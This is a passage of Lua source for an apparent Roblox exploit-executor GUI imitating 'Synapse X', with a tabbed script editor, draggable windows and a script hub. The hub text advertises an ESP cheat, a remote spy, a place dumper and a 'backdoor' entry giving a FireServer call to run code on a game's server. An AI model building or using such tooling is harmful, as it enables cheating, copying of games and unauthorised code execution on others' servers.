synapsex3.Text = "Coming soon." wait(1) synapsex3.Text = "Synapse X v3" end) game:GetService("UserInputService").InputBegan:Connect(function(input) if MainFrame.Visible == false and synminbutt.Visible == false then if input.KeyCode == Enum.KeyCode.F6 then MainFrame.Visible = not MainFrame.Visible end end end) local function makeDraggable(gui) local UserInputService = game:GetService("UserInputService") local dragging, dragInput, dragStart, startPos local function update(input) local delta = input.Position - dragStart gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) end makeDraggable(MainFrame) makeDraggable(scripthub_2) makeDraggable(optionspage) makeDraggable(synminbutt) local function tabSystem() local currentTab local function getTabs() local tabs = {} for _, v in pairs(Tabs:GetChildren()) do if v.Name:match("Tab_%d+") then table.insert(tabs, v) end end return tabs end local function showTab(tab) currentTab = tab if not tab then Source.Text = "" return end Source.Text = tostring(tab.Script.Value) end local function removeTab(tab) local tabs = getTabs() local idx for i, v in pairs(tabs) do if v == tab then idx = i v:Destroy() table.remove(tabs, i) break end end showTab(currentTab ~= tab and currentTab or tabs[idx] or tabs[idx-1]) end local function newTab() local tabs = getTabs() local tab = Instance.new("Folder", Tabs) local titlescript = Instance.new("TextButton", tab) local remove = Instance.new("TextButton", tab) local tabScript = Instance.new("StringValue", tab) local lastTab = tabs[#tabs] tab.Name = ("Tab_%d"):format(#tabs + 1) titlescript.Name = "ScriptTitle" titlescript.BackgroundColor3 = Color3.fromRGB(107,107,107) titlescript.BorderSizePixel = 0 titlescript.Position = lastTab and UDim2.new(lastTab.ScriptTitle.Position.X.Scale + 0.103, 0, -0.074, 0) or UDim2.new(0,0,-0.074,0) titlescript.Size = UDim2.new(0,44,0,19) titlescript.Font = Enum.Font.SourceSans titlescript.TextColor3 = Color3.fromRGB(255,255,255) titlescript.TextSize = 15 titlescript.Text = ("Script %d"):format(#tabs + 1) remove.Name = "RemoveTab" remove.BackgroundColor3 = Color3.fromRGB(107,107,107) remove.BorderSizePixel = 0 remove.Position = UDim2.new(titlescript.Position.X.Scale + 0.067, 0, -0.074, 0) remove.Size = UDim2.new(0,24,0,19) remove.Font = Enum.Font.SourceSans remove.TextColor3 = Color3.fromRGB(255,255,255) remove.TextSize = 14 remove.Text = "x" tabScript.Name = "Script" NewTab.Position = remove.Position + UDim2.new(0.046,0,0.008,0) showTab(tab) titlescript.MouseButton1Click:Connect(function() showTab(tab) end) remove.MouseButton1Click:Connect(function() removeTab(tab) end) return tab end newTab() NewTab.MouseButton1Click:Connect(newTab) Source:GetPropertyChangedSignal("Text"):Connect(function() if currentTab then currentTab.Script.Value = Source.Text end end) end coroutine.wrap(tabSystem)() local function syntaxHighlighter() local srcBox = Source local lines = Lines local function updateHighlight() srcBox.Text = srcBox.Text:gsub("\13", ""):gsub("\t", " ") local s = srcBox.Text local lin = 1 s:gsub("\n", function() lin = lin + 1 end) lines.Text = "" for i = 1, lin do lines.Text = lines.Text .. i .. "\n" end EditorFrame.CanvasSize = UDim2.new(0, 1500, math.max(1, lin) / 16.6, 0) srcBox.Size = UDim2.new(0, 598, 0, 249 + (lin > 16 and 16 * (lin - 16) or 0)) end srcBox.Changed:Connect(updateHighlight) srcBox:GetPropertyChangedSignal("Text"):Connect(updateHighlight) updateHighlight() end coroutine.wrap(syntaxHighlighter)() while true do wait(0.01) if scripthub_2.Visible then if scriptselected == "none" then descri.Text = "" elseif scriptselected == "dex" then descri.Text = "A version of the popular Dex explorer with patches specifically for Synaptic X." elseif scriptselected == "esp" then descri.Text = "ESP Made by ic3w0lf using the Drawing API." elseif scriptselected == "spy" then descri.Text = "Allows you to view RemoteEvents and RemoteFunctions called." elseif scriptselected == "dumper" then descri.Text = "Dumps the place as a .rbxl file in your workspace folder." elseif scriptselected == "backdoor" then if backdoorRemote then descri.Text = "✓ Active backdoor: " .. backdoorRemote.Name .. "\nUse: getgenv().SynapticBackdoor:FireServer(code)\nRequire with IDs supported!" else descri.Text = "✗ No backdoor. Press Attach first!" end end end end